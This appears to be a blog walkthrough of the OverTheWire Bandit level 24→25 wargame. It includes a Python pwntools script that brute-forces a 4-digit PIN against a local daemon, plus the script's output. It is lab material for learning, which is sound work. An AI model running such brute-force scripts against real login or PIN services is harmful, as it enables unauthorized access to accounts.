BB

technology and craziness.

BB

technology and craziness.

OverTheWire - Bandit - Level 24 → Level 25

Warning: This post contains a solution!
Only continue if:
1.) you want to see a possible alternative solution or
2.) you are stuck and need a hint!

Connect to the server using the following credentials:

Server: bandit.labs.overthewire.org
Port: 2220
Username: bandit24
Password: UoMYxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Level Goal is:

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

First of all create a temporary folder to work in.

1
bandit24@bandit:~$ mkdir /tmp/lvl2425

Next, check manually how the daemon is working. To do so, connect to port 30002 on localhost using telnet or in my case nc.

1
2
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

From the description we know, that we have to send the password from the current level and a 4-digit pincode separated by a space. To brute-force the pincode, we need to know, what the error message looks like. Just enter the password from the current level and a dummy 4-digit pincode and see what happens.

1
2
3
4
5
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

UoMYxxxxxxxxxxxxxxxxxxxxxxxxxxxx 4242
Wrong! Please enter the correct pincode. Try again.

Now we know the error message and can react to it in our brute-force script.

I’ve written the script in python and used the pwntools CTF toolkit for the first time here, but there are tons of other possible solutions.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
from pwn import *
from multiprocessing import Process

def brute(nrOne,nrTwo):
    for pin in range(nrOne,nrTwo):
        pin = str(pin).zfill(4)

        r = remote('127.0.0.1', 30002)
        r.recv()
        r.send('UoMYxxxxxxxxxxxxxxxxxxxxxxxxxxxx ' + pin + '\n')

        if 'Wrong' not in r.recvline():
            print '[+] Successful -> ' + pin
            print r.recvline()
            r.close()
        else:
            if int(pin) % 100 == 0:
                print '[!] Failed -> ' + pin
            r.close()

if __name__=='__main__':
    p1 = Process(target = brute, args = (0,2500,))
    p2 = Process(target = brute, args = (2500,5000,))
    p3 = Process(target = brute, args = (5000,7500,))
    p4 = Process(target = brute, args = (7500,10000,))
    p1.start()
    p2.start()
    p3.start()
    p4.start()

The script is overengineered for this task, but I wanted to play around with pwntools and Process, after a long long time not using python. I’ve started the brute function four times and assigned a pincode range to each process to speed up the task. After a short time the password for the next level appears.SILENT=1 disables the pwntools output that appears every time a connection is established or closed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
bandit24@bandit:/tmp/lvl2425$ python brute.py SILENT=1
...
[!] Failed -> 5000
[!] Failed -> 5100
[!] Failed -> 5200
[!] Failed -> 5300
[!] Failed -> 5400
[!] Failed -> 8000
[!] Failed -> 3000
[!] Failed -> 0500
[!] Failed -> 5500
[!] Failed -> 8100
[!] Failed -> 3100
[!] Failed -> 5600
[!] Failed -> 0600
[+] Successful -> 8106
The password of user bandit25 is uNG9xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Don’t forget to delete the temporary folder:

1
bandit24@bandit:~$ rm -rf /tmp/lvl2425